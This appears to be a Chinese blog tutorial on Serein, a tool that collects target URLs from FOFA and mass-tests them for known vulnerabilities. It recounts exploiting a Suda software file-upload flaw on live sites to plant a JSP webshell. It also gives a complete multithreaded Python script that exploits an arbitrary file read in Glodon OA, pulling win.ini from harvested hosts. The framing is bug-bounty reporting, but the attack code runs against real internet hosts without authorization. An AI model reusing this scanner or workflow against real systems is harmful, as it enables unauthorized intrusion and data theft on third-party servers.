Serein 安装使用
工具地址:https://github.com/W01fh4cker/Serein
我们先简单介绍一下:Serein一款图形化工具,支持批量采集 URL,并对采集到的 URL 进行各种 n-day 漏洞检测。该工具可广泛应用于 SRC 挖掘、CNVD 漏洞挖掘、0day 利用、构建个人武器库等场景。尽管市面上已有许多可用于利用 1-day 漏洞的工具,也有不少支持自定义武器库的工具,Serein 的独特之处在于其集成了反查域名与权重查询 API 功能,帮助用户实现一站式的漏洞检测和武器库构建。
github 下载后, pip 下载好依赖就能直接使用,工具排版,
先在 fofa 配置填上自己的 key,这个 fofa 的 api 功能是需要会员的,可以在某鱼某宝上购买便宜的,购买后的在下面替换自己的 api,当然也可以用其他的测绘工具。
利用流程非常简单,首先通过 Fofa 搜集指定 URL,然后使用 nday 模块进行漏洞测试。建议结合反查域名与权重查询进行筛选,提升检测精度。
以“速达软件全系产品 DesignReportSave 任意文件上传漏洞”为例进行测试。Fofa 语法如下:app="速达软件-公司产品"
步骤 1:使用 Fofa 搜索
通过 Fofa 搜集相关的 URL,可以看到搜索到的 IP 自动附加了 http:// 和 https:// 协议,直接可以进行利用。
步骤 2:选择 nday 模块进行漏洞检测
进入 nday 模块,选择对应的漏洞进行测试(注:此处的利用 POC 是用户自己添加的,后续会详细说明如何添加 POC)。
步骤 3:自动保存漏洞站点
在检测过程中,存在漏洞的站点会被自动保存到 txt 文件中。可以随机选择一个站点,检查是否能够成功利用漏洞。
步骤 4:验证漏洞利用
成功连接到上传的 JSP 木马后,证明漏洞成功利用。
步骤 5:反查域名
接下来,进行 IP 反查域名操作。
步骤 6:权重查询筛选
最后,通过权重查询进一步筛选站点,有些站点如果没有修复漏洞,可以交给漏洞盒子提交。
原 POC 地址:GitHub – suda 文件上传漏洞
SRC 批量挖掘
如果只是平时进行 SRC 挖掘,单单依靠 nday 是远远不够的,至少要利用 1day 漏洞,最好还能是 0day。批量漏洞扫描和 SRC 挖掘拼的就是手速和效率,因此需要不断寻找新的漏洞,特别是 CVE 漏洞等,结合脚本进行批量扫描,然后可以利用该工具的筛选功能,进一步提高漏洞的筛选精度。
在一些 Wiki 漏洞库或者漏洞文档网站上寻找最新的漏洞是一个不错的选择,比如下面随机选择一个看起来相对简单的漏洞进行分析和测试。
(你可以继续添加具体的漏洞示例,这里可以介绍如何搜索或如何构建扫描脚本)
查看 poc 就是访问路由进行传参
仿造工具里面的 poc 改一下
相关代码
import requests
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
import json
# 定义漏洞测试函数
def test_vulnerability(url):
target_url = f"{url}/m/mobileAction.ashx/do.asmx?controller=Microsoft.VisualBasic.FileIO.FileSystem%2c%20Microsoft.VisualBasic%2c%20Version%3d8.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db03f5f7f11d50a3a&action=ReadAllBytes"
headers = {'Content-Type': 'application/json'}
data = '["C:\\Windows\\win.ini"]'
try:
# 发送请求并检测漏洞
response = requests.post(target_url, json=data, headers=headers, timeout=3)
if "59" in response.text:
# 如果检测到漏洞,则输出并保存 URL
log_vulnerable_url(url)
else:
# 如果没有漏洞,则输出
log_non_vulnerable_url(url)
except requests.exceptions.RequestException as e:
# 请求失败时输出错误信息
log_request_error(e)
# 记录存在漏洞的 URL
def log_vulnerable_url(url):
yync_rce_text.insert(tk.END, f"【*】存在漏洞的url:{url}\n")
yync_rce_text.see(tk.END)
with open("存在广联达OA系统任意文件读取url.txt", 'a') as file:
file.write(f"{url}\n")
# 记录不存在漏洞的 URL
def log_non_vulnerable_url(url):
yync_rce_text.insert(tk.END, f"【×】不存在漏洞的url:{url}\n")
yync_rce_text.see(tk.END)
# 记录请求失败的错误信息
def log_request_error(error):
yync_rce_text.insert(tk.END, f"【×】目标请求失败,报错内容:{str(error)}\n")
yync_rce_text.see(tk.END)
# 获取 URL 地址列表
def get_urls_from_file(file_name):
with open(file_name, "r") as file:
for line in file.readlines():
yield line.strip()
# GUI 界面初始化
def setup_gui():
global yync_rce_text
yync_rce = tk.Tk()
yync_rce.geometry("910x450")
yync_rce.title("广联达OA系统任意文件读取")
yync_rce.resizable(0, 0)
yync_rce.iconbitmap('logo.ico')
yync_rce_text = scrolledtext.ScrolledText(yync_rce, width=123, height=25)
yync_rce_text.grid(row=0, column=0, padx=10, pady=10)
yync_rce_text.see(tk.END)
# 获取 URL 地址
urls = get_urls_from_file("修正后的url.txt")
# 设置最大线程数
max_thread_count = 30
with ThreadPoolExecutor(max_workers=max_thread_count) as executor:
for url in urls:
executor.submit(test_vulnerability, url)
yync_rce.mainloop()
# 启动程序
if __name__ == "__main__":
setup_gui()
然后就是查域名查权重了,不过这个漏洞资产比较少,基本都没有权重,有域名有公司的就全部甩漏洞盒子了。在选择漏洞的时候就选资产多的比较新的就行了。





评论 (0)